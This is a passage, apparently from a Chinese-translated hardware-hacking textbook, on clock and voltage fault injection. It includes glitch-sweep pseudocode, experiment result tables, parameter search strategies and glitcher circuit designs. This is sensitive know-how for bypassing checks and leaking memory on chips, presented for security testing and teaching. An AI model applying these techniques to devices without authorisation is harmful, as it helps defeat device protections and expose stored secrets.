清单 4-4 中的伪代码展示了如何使用不同设置运行重复实验。

# Pseudocode for a clock fault injection test setup

for id in range(0, 19):
     # Generate random fault parameters
   1 wait_cycles = random.randint(0,1000)
   2 glitch_cycles = random.randint(1,4)
   3 freq = random.randrange(25,123,25)
     basefreq = 25
     # Program external glitcher
     program_clock_glitcher(wait_cycles, glitch_cycles, freq)

     # Make glitcher wait for trigger
     arm_glitcher()

     # Start target
     run_looptest_on_target()

     # Read response
   4 output = read_count_from_target()
   5 reset_target()

     # Report
     print(id, wait_cycles, glitch_cycles, freq, output)

清单 4-4:一个旨在调整参数并查看结果的 Python 示例

你可以看到等待参数 1、故障周期 2 和超频频率 3 的随机设置。对于每次故障注入尝试,我们会捕获实际的程序输出 4,然后重置目标设备 5。这使得我们可以确定是否引发了任何效应。假设我们的目标设备正在运行带有因子的循环测试;也就是说,每次循环迭代时计数器增加 1。我们让目标设备循环 65,535 次(十六进制 0xFFFF),所以如果返回的不是 'FF FF',则说明发生了故障注入。

图 4-7 展示了在此特定示例中,PC、故障注入器和目标设备之间的交互顺序。你可以将其与图 4-4 进行比较,看看这个特定示例的配置与我们之前工作的不同之处。

f04007

图 4-7:PC、故障注入器和目标设备在进行单次故障注入时的操作顺序

在图 4-7 中,你可以看到我们现在已经指定了从basefreqfreq的切换。这些是传递给故障注入工具的配置参数的一部分。

图 4-8 展示了信号在逻辑分析仪上的快照,在这里你可以看到目标设备的时钟从basefreq切换到freq,然后再切回。

在图 4-8 中,注意到当故障注入器激活时,目标设备的时钟以两倍速运行。在这个示例中,等待周期被设置为 2,故障周期被设置为 3。通过计算从触发信号的上升沿到目标时钟增加到freq的时间,我们可以看到这一变化。随着我们尝试更多参数,我们将看到这在各种设置之间的变化。

f04008

图 4-8:进行单次故障注入时,PC、故障注入器和目标之间的操作时序

成功的一个关键方面是选择起始的参数范围。在前面的例子中,如果我们随机化等待周期、故障周期和频率,攻击者需要非常幸运才能“猜测”所有参数正确,从而导致故障。对于参数数量有限的情况,这是一种可行的方法,但随着参数增多,搜索空间会呈指数级增长。

通常来说,隔离各个参数并尝试确定这些参数的合理范围是有意义的。例如,注入故障必须针对清单 4-2 中的for循环进行。我们可以通过在 GPIO 线上的触发的起始和结束点来测量该循环的时序,因此我们需要将等待周期限制在触发窗口内。对于故障周期和频率,目前我们并没有明确的指示表明什么是有效的。从小范围开始然后逐步增大通常是有道理的,这样可以先从一个可行的目标开始,然后逐步提高参数,直到目标设备崩溃。之后,我们在“工作”与“崩溃”之间寻找边界,希望能够发现可利用的故障。我们将在本章稍后的“搜索策略”部分讨论各种策略。

故障注入实验

现在,我们选择一些参数范围来使用时钟故障注入器进行实验。我们将使用从一个到四个故障周期的范围进行实验。我们选择一个周期作为最小值,因为它是可能仍然引起故障的最小设置,而四个周期作为最大值,因为在实际中,这仍然算是“温和”的。几十个甚至数百个连续的故障周期将直接导致目标崩溃。类似地,我们选择了从 25 MHz 到 100 MHz 的超频频率。

接下来,我们运行故障注入程序一段时间并检查输出。如果没有故障发生,我们需要使参数更加激进。如果只发生崩溃,我们则需要减小参数的激进度。

故障实验结果

第一次运行故障的结果显示在表 4-2 中,包含故障配置和目标发送到 PC 的输出。

表 4-2:第一次故障运行结果

ID 等待周期 故障周期 频率 (MHz) 输出
0 561 4 50 FF FE
1 486 4 75 FF FE
2 204 3 100
3 765 4 75 FF FE
4 276 4 50 FF FE
5 219 2 100 FF FE
6 844 1 25 FF FF
7 909 3 50 FF FE
8 795 4 75 FF FE
9 235 4 100
10 225 1 25 FF FF
11 686 1 50 61 72 62 69 74 72 61 72 79 20 6D 65 6D 6F 72 79
12 66 2 100 FF FE
13 156 1 75 FF FE
14 39 2 100 FF FE
15 755 3 50 61 72 62 69 74 72 61 72 79 20 6D 65 6D 6F 72 79
16 658 2 50 00 EB CD AF 08 8E 00 00 00 01
17 727 1 100
18 518 3 50 00 EB CD AF 08 8E 00 00 00 01

日志显示了一些显著的结果。首先,某些尝试返回FF FF,表示没有引起故障。其他输出显示FF FE,这很有趣,因为该值在数值上比FF FF少了 1。这意味着我们可能引入了像“跳过循环”或“将加法转化为无操作”这样的故障原始类型。其他值可能是任意数据。在实际操作中,我们发现这些可能是任意内存,因此它仍然可能是一个有趣的攻击原始类型。获取足够的任意内存片段意味着存储在该内存中的密码或固件内容可能会泄漏。我们还看到另一个结果是超时,这表示目标崩溃并停止响应。

分析结果

接下来,我们将分析数据,并尝试缩小参数范围,使其尽可能接近诱导所需结果的条件。表 4-2 中的数据表明,当时钟频率设为 25 MHz 时,没有发生故障,因为我们始终得到FF FF输出。在 50 MHz 时,我们开始看到一些有趣的效果,返回值为FF FE。这个结果在 50–100 MHz 和故障周期 1–4 时都出现。更仔细的分析显示,50 MHz 也会显示各种数据损坏,而 100 MHz 则表示超时。在 75 MHz 和任何数量的故障周期下,我们总是得到“跳过循环”原始故障类型,结果为FF FE。在该频率下的等待周期似乎没有任何效果,可能是因为在循环执行过程中注入的地方不影响最终效果。

重试实验

现在,假设我们想要研究“跳过循环”原始故障。分析结果表明,进行二次实验来确定更有针对性的参数范围的有效性。75 MHz 下成功的故障似乎是一个不错的起点。对于等待和故障周期,选择该频率下成功结果的平均值似乎是一个合理的参数选择,这些参数能够导致故障。它们的平均值分别是 550.5 和 3.25。由于需要整数值,我们重新运行实验,使用{550,551}和{3,4}。然而,使用这些参数范围运行测试结果没有任何故障!出了点问题。

为了尝试其他方法,我们将频率固定为 75 MHz,但使用原始的等待和故障周期范围,如表 4-3 所示。

表 4-3:故障结果示例,再次尝试

ID 等待周期 故障周期 频率(MHz) 输出
0 155 3 75 FF FF
1 612 4 75 FF FE
2 348 1 75 FF FE
3 992 4 75 FF FF
4 551 2 75 FF FF
5 436 3 75 FF FF
6 763 1 75 FF FF
7 695 4 75 FF FF
8 10 4 75 FF FF
9 48 4 75 FF FF
10 485 3 75 FF FF
11 18 2 75 FF FE
12 512 2 75 FF FF
13 745 4 75 FF FF
14 260 3 75 FF FF
15 802 4 75 FF FF
16 608 1 75 FF FF
17 48 3 75 FF FE
18 900 1 75 FF FE

结果显示了正常操作(FF FF)和我们关注的故障(FF FE)的混合,因此这是朝正确方向迈出的另一大步。花点时间分析一下结果。

看起来,任何数量的故障周期都会导致故障,因此这并不是第一次实验中故障发生的原因。问题一定出在等待周期上。记住,等待周期对应的是触发器(for循环的开始)和故障尝试之间的时钟周期数。for循环会有一些重复执行的指令序列。那么,假设for循环中的某一指令易受故障影响,你期待在有效故障发生时看到什么样的等待周期?

这里有个剧透:导致FF FE故障的大多数等待周期是三的倍数。也许这种相似的倍数的原因在于,循环执行需要三周期,而其中某一特定周期容易出故障。

然而,故障周期的数量似乎并不影响故障。从理论上讲,这看起来很奇怪。我们本以为通过在易受攻击指令前开始一个周期,并且将故障周期设置为两个,我们会击中易受攻击指令并导致相同的故障。我们真希望能为你提供一段关于时钟、位、原子、阻抗以及它们与潮汐周期关系的美妙解释,但不幸的是,硬件的规律往往神秘莫测。我们经常看到可以重现的结果,但却无法解释,而你也会遇到同样的现象。在这种情况下,最好干脆接受故障注入中的“黑魔法”成分,然后继续前进。

结果

我们已经确定,如果能够命中正确的时钟周期,我们就能跳过一个循环,或者将增量指令变为无操作(nop)。基于之前的有限实验,我们将等待周期设置为三的倍数来攻击这个系统。这样,我们得到了五次成功和一次失败(ID 9 能被 3 整除,但没有导致故障),因此我们可以估算出 83%的成功率。还不错!

这个练习假设你可以访问故障目标中的源代码。即使源代码可用,从中预测特定操作何时在目标设备上执行并非易事。该练习表明,即使没有精确的信息来判断何时执行故障,也并不妨碍你进行攻击时序。在零知识场景下,你需要通过(在线)研究和目标程序的逆向工程来寻找有效的参数。

请记住,通常有多个参数组合可以起作用,并且多种方法可以产生期望的故障。有时你需要精确调节参数;其他时候,参数对变化表现出显著的容忍度。有些参数值可能取决于你的硬件(例如对电磁脉冲的敏感性),而其他参数可能取决于运行目标设备的软件(例如某个关键指令的精确时序)。

搜索策略

没有一个固定的方案可以用来为实验选择一组合适的参数。前面的示例为如何选择参数提供了一些提示。那个示例已经是一个高维参数优化问题,增加更多的参数只会使搜索空间呈指数级增长。随机化参数的策略是相当无效的,除非你的目标是快速衰老。特别是当一个故障不足以引发期望的结果时,这一点尤其适用。一些故障注入对策包括重复敏感的计算两次,并比较结果。例如,程序可以检查密码两次,这意味着你需要第二次以相同的方式对目标进行故障注入,才能绕过检测(或者你需要在目标操作中注入故障,然后尝试故障检测机制)。注意,这引入了新的参数:多个故障之间的延迟,以及每个故障的参数。

存在一些通用策略,你可以用来优化你选择实验的参数,比如随机或区间步进、嵌套、从小到大(或反过来)、尝试分而治之的方式、进行更智能的搜索,或者,如果一切都失败了,耐心等待。

随机或区间步进

选择参数值时的一个决定是:是为每次尝试随机化值,还是在特定范围内逐步通过区间。有时,在你开始测试时,会为多个参数使用随机值来采样各种参数组合。如果你已经确定了其他参数值,并且想要精准定位出故障敏感的时钟周期,那么逐步测试每个等待周期范围内的每个值是非常有用的。

嵌套

如果你想要穷举地尝试某些参数的所有值,你可以将它们嵌套。例如,你可以在所有等待周期值上进行区间步进,然后为每个等待周期值尝试四种不同的时钟频率。这种方法适用于在小范围内的微调,但一旦范围增大,嵌套会迅速导致需要测试的组合数量爆炸。

在没有任何先验知识的情况下,你可能会随意选择先扫哪个参数,后扫哪个参数。这叫做嵌套顺序。在前面的例子中,我们也可以先尝试所有固定时钟频率下的等待周期,然后再尝试下一个时钟频率下的所有等待周期。你可以将这个思路扩展到任意数量的参数。

你可能会不小心让自己的工作变得更复杂——例如,如果你正在处理的目标对某个特定的等待周期值非常敏感,但几乎在任何频率下都会发生故障。在这种情况下,你最好先扫一遍等待周期,然后再改变频率。通常,你可以通过使用随机化参数值选择进行初步扫描,从而获得这种类型的信息。

小到大

在这种策略下,你首先将所有参数设置为小值,通常是在你不想破坏目标时。这些参数可以是短时间、低脉冲强度或小电压差异。然后,你逐步增加参数值的范围。从某种意义上讲,这是一种安全的方法,因为某些故障可能会对目标产生剧烈后果,例如当激光功率从仅仅是一点火花提升到完全爆发成蓝色烟雾。

大到小

小到大方法可能令人沮丧,因为它可能需要耐心才能产生故障。有时,先将某些参数值的音量调到 11,然后再慢慢减少它们,可能更有效。使用这种方法的风险是可能会破坏目标。

对于非破坏性故障注入方法,这种技术在初始设置阶段非常有价值。例如,如果你通过简单切断电源来执行电压故障注入,你可能会发现证明可以引发设备重启,以确认你的故障注入电路工作正常。

分而治之

有些参数是独立于其他参数的,而有些则对其他参数有影响和依赖关系。如果某些参数是独立的,尝试识别它们并单独优化,以提高效果。

例如,脉冲功率对于电磁(EM)故障来说,很可能与关键程序指令的时序无关。脉冲功率取决于硬件因素,而时序则取决于芯片上运行的程序。一种策略是随机化故障时序,并逐步增加电磁功率,直到开始出现崩溃或数据损坏。在那个时刻,你大致可以确定产生结果的电磁功率参数。接下来,保持电磁功率在该水平,并逐步调整程序指令时序,期望发现某一时刻能够引发有用的故障。

其他参数可能看起来是独立的。例如,某些程序部分可能需要更强的电压故障,而其他部分则不需要。程序中的某些阶段可能比其他阶段消耗不同的功率水平,因此需要不同的电压故障。如果你在寻找良好的参数时遇到困难,尝试同步优化其他参数对。

你注入电磁脉冲的空间位置的 x 和 y 坐标很可能是成对的。时钟速度和电压故障深度也很可能是成对的。如果你试图分别优化这些可能成对的参数,可能会错过一些好的故障机会。

智能搜索

对于一些参数,在优化时你可以应用比随机化或步进更复杂的逻辑。爬山算法从一组特定的参数开始,然后对这些参数进行小幅度变化,以查看性能(故障成功率)是否改善。

例如,如果你处在一个骰子的敏感位置,你可以使用爬山算法通过以下方式优化位置:在该位置周围注入一些故障,并朝着故障成功率增加的方向移动。继续这样做,直到没有更多相邻位置的成功率增加。此时,你已经找到了局部最大值。原则上,当你观察到成功率随着参数的小变化而平滑变化时,可以将此技术应用于所有参数。当没有这样的平滑变化时,这种技术完全失败,因此购买者需要小心。

保持耐心

对实验保持更长时间的耐心虽然效率不高,但有时却是你能做的最有效的事情。找到能够引发故障的那一组参数组合可能很困难。不要轻易放弃。一旦你在实验室里关于参数搜索的聪明方法用尽,你可以让实验运行几周,等待幸运的参数组合出现。

分析结果

如何解读所有结果?一种有用的方法是简单地将结果以可视化方式呈现。按你正在调查的参数对结果表格进行排序,并根据测量的结果为每一行上色。注意聚类现象将帮助你确定敏感参数。让排序变得互动性强,可以让你轻松地深入分析有效的参数集。请参见图 4-9,在实际软件中,结果将被着色为绿色、黄色和红色。

在图 4-9 中,绿色线条(图中为灰色)表示正常结果,黄色线条(图中为浅灰色)表示重置,红色线条(图中为深灰色)突出显示由故障引起的无效或意外响应。

f04009

图 4-9:Riscure Inspector 软件中的颜色编码结果

对于有效的故障,确定每个参数的最小值/最大值/众数值可能是有用的。请注意,统计学中的“众数”计算比“平均值”统计计算提供更可靠的结果,因为平均值可能会指向一个不会导致故障的参数值。识别参数值的一个好方法是通过 x-y 散点图可视化结果,其中两个不同的参数变量分别沿两个坐标轴绘制(见图 4-10)。

f04010

图 4-10:故障结果的 x-y 绘图,重大故障用 X 标出

由实际导致重大故障的参数生成的数据点以 X 标出。你可以看到它们在重置/崩溃数据点之间聚集,这些数据点绘制在左上角的浅色阴影区域(原软件中的黄色),而右下角的深色点(原软件中的绿色)则代表正确的程序行为。

总结

在本章中,我们描述了故障的基础知识——为什么会发生故障,以及如何分析程序以寻找故障注入的机会。接着我们讨论了为什么完美地执行这种分析是不可能的,因为故障原语依赖于待测设备,而且故障注入是不精确的。故障注入在实践中是一个随机过程。我们还探讨了构建故障注入器所涉及的组件,提供了一个时钟故障实验示例,并讨论了几种故障参数的搜索策略。下一章将填补缺失的部分:为电压、时钟和电磁故障注入构建实际的故障注入器。

第五章:别舔探针:如何注入故障

芯片和设备在其正常范围内运行时,经过精心设计以确保极低的故障概率。然而,当芯片超出其正常工作范围时,最终会导致故障发生。为此,它们的运行环境通常会受到控制:印刷电路板(PCB)上的电源线配有去耦电容器以缓冲电压的尖峰或波动,时钟电路被限制在特定范围内,风扇用于保持温度控制。如果你恰好处于太空中,超出了地球大气层的保护,你需要辐射屏蔽和其他抗故障电路来防止故障发生。

尽管芯片及其封装能抵抗大多数自然发生的故障,但它们通常并没有针对恶意攻击者进行加固。专门用于抵御具有物理访问权限的攻击者的芯片,例如某些智能卡中找到的安全微控制器,是著名的例外。

在本章中,我们描述了在故障注入安全测试中常用的不同故障注入方法,这些方法可以被一系列攻击者访问。 这些方法包括电压和时钟 故障注入电磁故障注入(EMFI)光学故障注入体偏置注入。对于每种技术,我们还将讨论你可能需要搜索的一些具体参数。(我们在第四章中讨论了搜索这些参数的策略。)

许多故障注入技术最初源自故障分析(FA)领域,该领域研究芯片故障,以便在制造过程中或之后最小化故障率。故障分析工程师拥有非常强大的故障注入工具,包括扫描电子显微镜(SEM)、聚焦离子束(FIB)、微探针站、辐射室等。我们不会讨论这些仪器,因为它们对大多数人来说成本过高,而且攻击者通常会使用低成本的工具。

也有可能生成更多不可预测故障的方法。例如,简单地加热芯片或使用强光手电筒就能引发故障——在某些情况下,成功的故障。但由于这种方法的时间和空间分辨率非常差,因此很难针对特定操作进行攻击,所以我们介绍了许多低成本的选项,来进行类似的实验,这些方法有更好的控制度。

时钟故障注入

时钟故障注入,通常称为时钟故障,旨在插入一个不正常的、过窄或过宽的时钟边缘。我们在第四章中讨论了时钟故障,并在图 4-2 中展示了时钟故障的示例,但我们尚未详细解释为什么时钟故障能够工作。

让我们从一点数字电路理论开始,探讨时钟毛刺是如何工作的——特别是 D 触发器组合逻辑。考虑将 D(数据)触发器作为 1 位存储单元。它接受 输入数据信号D)和 时钟信号CLK)作为输入,并输出 输出数据信号(Q)。在整个时钟周期内,输出保持与其内部 1 位存储器相同,只有在时钟信号从低电平跳变到高电平的短暂时间内,输出才会发生变化,这个时刻被称为 正向时钟边沿。在这个边沿,触发器将其存储器设置为 D 的值。一组 n 个触发器也被称为 n-位寄存器

组合逻辑是数字电路中由导线和布尔门构成的集合,通常用于为触发器提供输入和输出。例如,组合逻辑可以实现一个 n-位波纹进位加法器(RCA),这是一种电路,用于计算两个 n 位输入寄存器的和,并将结果存储在一个(n + 1)位的输出寄存器中。RCA 是由一系列 1 位 全加器 构成的,全加器是用于执行两个 1 位输入加法运算的电路。

图 5-1 显示了一个 4 位计数器的示例:该寄存器由一个 4 位寄存器(四个 D 触发器 1)和一个 4 位波纹进位加法器 2(由四个全加器 3 构成)组成。在时钟信号跳变前的稳态中,寄存器的输出会输入到 RCA 中,RCA 将其加上数字 1,并将加法结果反馈给寄存器的输入。当时钟信号 4 跳变时,寄存器捕捉到这个输入,寄存器的输出发生变化。这个变化后的输出会输入到 RCA 中,用于计算下一个计数器值,依此类推。

f05001

图 5-1:每个时钟跳变都会增加计数器的电路

让我们考虑一下当正向时钟边沿作用于输入寄存器时,会发生什么情况。寄存器的存储和输出会变化为其输入的值。输出一旦变化,信号就会开始通过 RCA 传播,这意味着它们会依次通过每个全加器。最终,信号会到达与 RCA 相连接的输出寄存器。在下一个正向时钟边沿,输出寄存器的状态会更新为 RCA 的计算结果。

信号从组合电路输入传播到输出所需的时间称为传播延迟。传播延迟取决于多个因素,包括电路中的门数量和类型、门的连接方式、输入的数据值,还包括晶体管的特征尺寸、温度和电源电压。因此,每个芯片上的组合电路都有自己的传播延迟。电子设计自动化(EDA)软件可以通过静态时序分析来找到电路的最坏情况传播延迟。这个最坏情况的传播延迟就是关键路径的长度,限制了芯片设计的工作范围。它特别用于计算电路可以运行的最大时钟频率。一旦芯片超过最大时钟频率,关键路径的输入将在下一个时钟边缘到来之前没有完全传播到输出,这意味着输出寄存器可能记住一个不是电路正确输出的值。(嘿,这听起来像是故障,不是吗?)

事实证明,为了正常工作,触发器需要在时钟边缘前后分别保持一个稳定的输入,这段时间分别称为建立时间保持时间。不足为奇的是,当数据在时钟边缘前改变时,会发生建立时间违规,而当数据在时钟边缘后改变时,则会发生保持时间违规。攻击者可以通过使设备在时钟频率、电源电压和温度的规定范围外工作,来引发这些违规(从而造成故障)。

图 5-2 显示了一个简单的数字设备,包含两个寄存器,每个寄存器存储一个字节的数据。

f05002

图 5-2:一个简单的移位寄存器正常工作

通常,每个寄存器保存一个字节的数据(该寄存器由八个触发器组成),组成字节的位的状态在正时钟边缘时在寄存器间移动。第一次时钟边缘后,两个寄存器分别保存字节 0xA2 和 0x9B。下一个输入字节 0x17 在左侧寄存器等待,而 0xA2 在右侧寄存器等待。第二次时钟边缘时,0x17 进入左侧寄存器。右侧寄存器读取左侧寄存器的输出 0xA2,并在短时间后出现在右侧寄存器输出。下一个时钟边缘时,数据再次从左侧寄存器移动到右侧寄存器。

图 5-3 显示了相同电路在时钟故障下的运行情况,其中我们引入了一个非常短的时钟周期。

f05003

图 5-3:一个简单的移位寄存器工作不正常

在这个例子中,在第一次时钟沿后,左侧和右侧寄存器分别保持字节 0xA2 和 0x9B,这与图 5-2 中的起始状态相同。如之前所示,下一个输入字节 0x17 在等待,但现在有一个短时钟周期干扰了有序过程。输入字节 0x17 仍然被复制到左侧寄存器中,就像在正常工作电路中的情况一样。然而,短周期未能为左寄存器的输出总线提供足够的时间来稳定,因此其输出在 0xA2 和 0x17 之间的过渡状态。这意味着右侧寄存器现在处于某个未知状态 0xXX,它也将其输出到外部总线。在下一个时钟沿,电路继续正常操作,将值 0x17 设置到输出数据总线上,但在这种情况下,数据序列将 0xA2 更改为其他值,从而导致执行的任何程序出现故障!

亚稳态

除了违反关键路径时序,违反时序约束还有其他影响。如果数据在时钟沿附近发生变化,翻转触发器的输出将进入亚稳态,这通常表现为一个无效的逻辑电平,需要一些时间才能达到最终值(参见图 5-4)。

f05004

图 5-4:翻转触发器输出处于亚稳态

在实际设备上,这看起来是什么样的?我们可以使用现场可编程门阵列(FPGA)来构建一个系统,使我们能够调整时钟,通过略微调整时钟沿使其在数据过渡前后产生这些更可能的状态。在图 5-5 中所示的例子中,如果没有发生无效状态,翻转触发器的输出应该在 0 和 1 之间交替。

f05005

图 5-5:一个允许通过移动时钟沿来引发亚稳态的电路

图 5-6 显示了确实没有进入无效状态。我们使用示波器的持久性模式来展示电路操作。多次相同操作的运行被叠加在一起,强度和颜色显示最可能的“路径”。在这种情况下,图 5-6 中的较深色调最可能,较浅色调最不可能。输出有时是 1,有时是 0。然而,它总是会发生过渡,这意味着如果是 0,它会变成 1,反之亦然,且两种过渡(从 1 到 0 和从 0 到 1)是同样可能的,正如预期的那样。

f05006

图 5-6:名义操作

在 图 5-7 中,我们通过改变延迟线来调整时钟边缘,以引起亚稳态。此时,触发器需要更长的时间才能达到最终值。亚稳态意味着最终值是由推动触发器进入稳定状态的随机噪声定义的。这不仅意味着最终值是随机的,还意味着由于稳定时间长于预期,某些电路可能会在初始状态下采样亚稳态触发器,而其他电路则可能看到最终状态。在这个例子中,我们略微降低了核心电压,以夸大亚稳态的稳定时间。

f05007

图 5-7:通过改变时钟边缘来引起时序违规的亚稳态数据输出(低电压操作)

图 5-8 显示了在正常电压下运行时的时钟边缘和输出。

f05008

图 5-8:通过改变时钟边缘来引起时序违规的亚稳态数据输出(正常电压操作)

略长的亚稳态仍然存在,但请注意,缺乏过渡有时仍会发生,这证明了违反建立时间和保持时间将传播无效的逻辑状态。

故障敏感性分析

传播延迟依赖于多种因素,包括数据值,这意味着由于违反建立时间和保持时间而导致的故障可能依赖于数据值。故障敏感性分析利用了这一行为;其思想是将设备超频,直到只有特定的数据值会引发故障。比如,当设备被超频时,0xFF 会导致故障,而其他值则不会,因此,如果你遇到故障,就知道值是 0xFF。经过一些特性测试后,你可以通过检测是否有故障来了解那些数据值是什么。

限制

时钟故障的一个限制是,它要求设备使用外部时钟输入。当查看典型设备的数据手册时,你可能会发现它有一个内部时钟发生器。小型嵌入式设备的一个明显特征是没有外部晶体或时钟发生器,这意味着它可能使用内部发生器。这意味着你不能将外部时钟输入到设备中,而没有对时钟的控制,就无法进行时钟故障。

即使数据手册显示了外部晶体,类似于相位锁定环PLL)的东西也可能在内部修改它。这种情况的一个指示是,当外部晶体的频率低于预期的设备工作频率时。树莓派上的晶体是 19.2 MHz,但主 CPU 的工作频率可以达到几百 MHz。这是因为该外部时钟通过 PLL 被倍增到更高的内部频率,这对于几乎所有的系统芯片(SoC)设备来说都是一样的,比如手机。即使是许多低成本、低功耗的设备也有 PLL。你仍然可以使用时钟故障来攻击带有 PLL 的设备,但由于 PLL 的工作方式,其有效性较低。

如果你对查看带有 PLL 的时钟故障注入的有效性感兴趣,可以参考 Bodo Selmke、Florian Hauschild 和 Johannes Obermaier 的《Peak Clock: Fault Injection into PLL-Based Systems via Clock Manipulation》(发表于 ASHES 2019)。

所需硬件

在第四章中,我们介绍了一种通过在两种不同的时钟频率之间切换来生成时钟故障的简单方法。另一种方法是使用 FPGA 向单一源时钟插入小脉冲(故障),这使得你可以使用两个相位移的时钟进行异或运算(见 图 5-9),从而轻松生成故障时钟。

f05009

图 5-9:使用 FPGA 生成时钟故障

几乎每个 FPGA 都提供能够执行所需相位调整逻辑的时钟模块。例如,ChipWhisperer 项目在 Xilinx Spartan-6 FPGA 上实现了这样的时钟故障。

我们可以使用异或方法来生成故障时钟,如本例所示。相位移是通过大多数 FPGA 内部的时钟控制模块来实现的。在 图 5-9 中,源(输入)时钟的目标 1 是最终得到“故障”时钟 2。为此,输入时钟首先通过第一个模块进行相位移(延迟),得到时钟 3。这个时钟再次进行相位移,得到时钟 4。通过逻辑与运算并反转其中一个输入,我们能够得到一个脉冲,其宽度由第二个相位移设置,并且相对于原始时钟的边缘,由第一个相位移插入的延迟偏移 5。这个“故障流”包含无尽的脉冲流,因此我们可以选择通过与门仅抽取几个脉冲,得到我们的故障 6。最后,我们使用异或将这个故障插入原始时钟,生成最终的时钟 2。FPGA 可以执行的最小相位移和最小逻辑门切换速度限制了这种方法的可行性。

另一种选择是使用模拟延迟线,其中可变电阻(或可变电容)可以微调延迟(见 图 5-10),这实现了我们通过 FPGA 实现的相同操作。

f05010

图 5-10:使用模拟延迟线生成时钟故障

图 5-10 展示了使用电阻-电容(RC)模块,这些模块取代了图 5-9 中展示的相位移元件。你可以使用独立的逻辑芯片,通过选择适合所需逻辑电平的芯片(例如 3.3 V 或 5.0 V),来构建整个电路。如果你想使用可变电阻,我们建议使用多圈调节电位器。你可以使用 Arduino 触发故障使能引脚,这个引脚在常规时钟和故障时钟之间切换(可以参考本章后面的“电压故障注入”部分,或者跳到代码示例 5-1 查看代码示例)。

在高速设计中,“逻辑电平”有着多种不同的含义,超出了你可能遇到的 3.3 V 和 5.0 V 等电平。时钟通常使用一种叫做低压差分信号传输(LVDS)的信号方式,其中两根线传输相反相位的信号,也就是说,当一根线变高时,另一根线则变低。这些信号电平通常也要小得多;低电平与高电平之间的典型电压差(波动)可能只有 0.35 V,并且这种波动会围绕某个共同电平电压进行。“共同电平”指的是电压不会降到 0 V(低电平),而是低于某个固定电压的一定电平。例如,如果共同电平是 1.65 V(即 3.3 V 的一半),信号的波动范围可能是从 1.3 V 到 2.0 V,表示从低电平到高电平的切换(在这种情况下,波动幅度为 0.7 V)。

物理逻辑电平不会影响时钟故障的概念,但可能需要你付出额外的物理努力。FPGA 输出驱动器通常会支持一些这些高速逻辑电平,但你需要理解目标设备的要求,以便将故障信号正确地注入到设备中。你可能还需要一个 LVDS 驱动芯片或类似设备来产生有效的时钟故障。

插入时钟故障的一个更简单方法是使用两个时钟:一个常规时钟和一个非常快速的时钟。在第四章中,我们简要提到过,通过暂时切换到快速时钟,可以引发故障。超频的时长将取决于两个时钟之间的切换速度。从原理上讲,你可以使用 Arduino 或 FPGA 来实现,尽管前者的切换速度较慢。这种时钟切换方法不仅易于实现,而且只要有合适的开关,你几乎可以用它来处理任何时钟频率。你可以使用这种方法插入 8 MHz 时钟或 1 GHz 时钟的故障。

你也可以通过切换 I/O 引脚来生成时钟故障,只要开发板足够快。例如,如果你的设备以 100 MHz 运行,你可以通过在“软件”中设置 I/O 引脚为低电平 10 个周期,再设置为高电平 10 个周期,来生成 5 MHz 的时钟。通过简单地切换 I/O 引脚一个周期,你就可以插入故障。

时钟故障注入参数

我们介绍了两种时钟故障注入的变体:临时超频(参见图 4-8)和将毛刺插入到时钟信号中(参见图 5-9)。如果你想简化操作,临时超频更容易构建,但如果可能的话,我们推荐构建时钟毛刺插入电路,因为它可以生成更多种类的毛刺。我们在第四章讨论了等待周期、毛刺周期、超频频率、毛刺偏移和毛刺宽度等参数。

电压故障注入

我们通过干扰芯片的电源电压来执行电压故障注入(例如,暂时切断电源)。关于电压故障注入的工作原理,存在两种主要观点:时序视图和阈值视图。阈值视图简单地指出,通过改变电路上的电压,可以改变逻辑 0 和 1 的电压阈值,从而有效地改变数据。时序视图利用了电压与电路稳定运行频率之间的关系,这些频率能够在没有故障的情况下稳定运行。如前所述,触发器在时钟边沿前后需要稳定的输入一段时间,以便正确捕捉输入值。事实证明,提高芯片上的电压会降低传播延迟,这意味着信号变化更快,可能会导致保持时间违规,因为信号可能会在保持时间结束前发生变化。另一方面,降低电压则可能导致设置时间违规,因为信号可能会与下一个时钟边沿的时间太接近。一个短暂的毛刺(电源电压的下降或尖峰)也可能影响正确操作。电路上的电压变化只需要在相关晶体管切换时发生,这个持续时间远小于一个时钟周期,因此在现代设备上通常是亚纳秒级的。这样的非常短暂的电压变化就是我们在进行电压故障注入时理想的目标。

然而,我们所说的电压变化是直接作用于晶体管本身的电源供应端,位于芯片内部。电源网络负责将电力传输到芯片内,它位于晶体管与芯片外部电源之间。这个网络会影响毛刺的形状,因为芯片内部的电容和电感会滤除任何快速的尖峰和波动。因此,任何电压毛刺必须足够长,以便它能够传递到晶体管并形成能够真正影响我们关注的电路部分的形状。时钟网络负责将时钟信号传递到所有相关的门电路。时钟和电源网络覆盖整个芯片,因此电压毛刺可能会同时影响多个晶体管,导致故障。

此外,在设备的电源和芯片的电源之间,许多去耦电容器旨在减少由开关电源引起的电压下陷和尖峰,以及从 PCB 上的其他元件拾取的噪声。这些电容器的阵列使得芯片在正常条件下运行时,发生故障的概率非常小。当然,它们也会影响我们在进行故障注入时故意想要注入的下陷和尖峰。

生成电压故障

故障注入的原理是在芯片处于感兴趣的时刻,将其置于正常工作条件之外进行操作。对于电压故障注入,目标是为芯片创建一个稳定的电源,除了在某些重要操作时,需要将其电压降低或突增,超出正常工作电压范围。

你可以考虑三种生成适当电压故障的方法。第一种是使用可编程信号发生器,其中信号发生器的输出通过电压缓冲器为目标设备供电。第二种方法是在两个电源之间切换:常规工作电压和“故障”电压。最后,短路法则简单地将供电的工作电压短接。

构建基于开关的注入器

如果你正在生成电压波动,你将需要某种形式的可编程电源或波形发生器。典型的可编程电源无法快速切换电压,而典型的波形发生器输出的功率不足以驱动目标设备。(目标是< 1ms 的故障,通常在 40–1,000ns 范围内。商用故障注入器可低至 2ns。)目标是生成一个如图 5-11 所示的波形,该波形具有标准基线电压,然后在某个更低或更高的电压下插入一个故障。

f05011

图 5-11:电压故障注入波形

这个特定波形是从基于 Chris Gerlinsky 在“破解 NXP LPC 系列微控制器的代码读取保护”(REcon 布鲁塞尔 2017)演讲中的电路生成的。Gerlinsky 概述了使用 MAX4619 模拟开关的故障注入器设计,该开关具有 10–20 Ω的导通电阻(取决于供电电压)。导通电阻是开关中的有效电阻;10 或 20 Ω会限制你能推动到目标的电流量。Gerlinsky 将多个通道并联,以生成一个更强大的故障注入平台。

图 5-12 展示了 MAX4619 与相同的并联电路生成一个多路复用器。VCC 可以是 3.3V 或 5V;使用更高电压(5V)意味着你在输入电压上有更多的灵活性,并且导通电阻更低。

f05012

图 5-12:电压开关电路

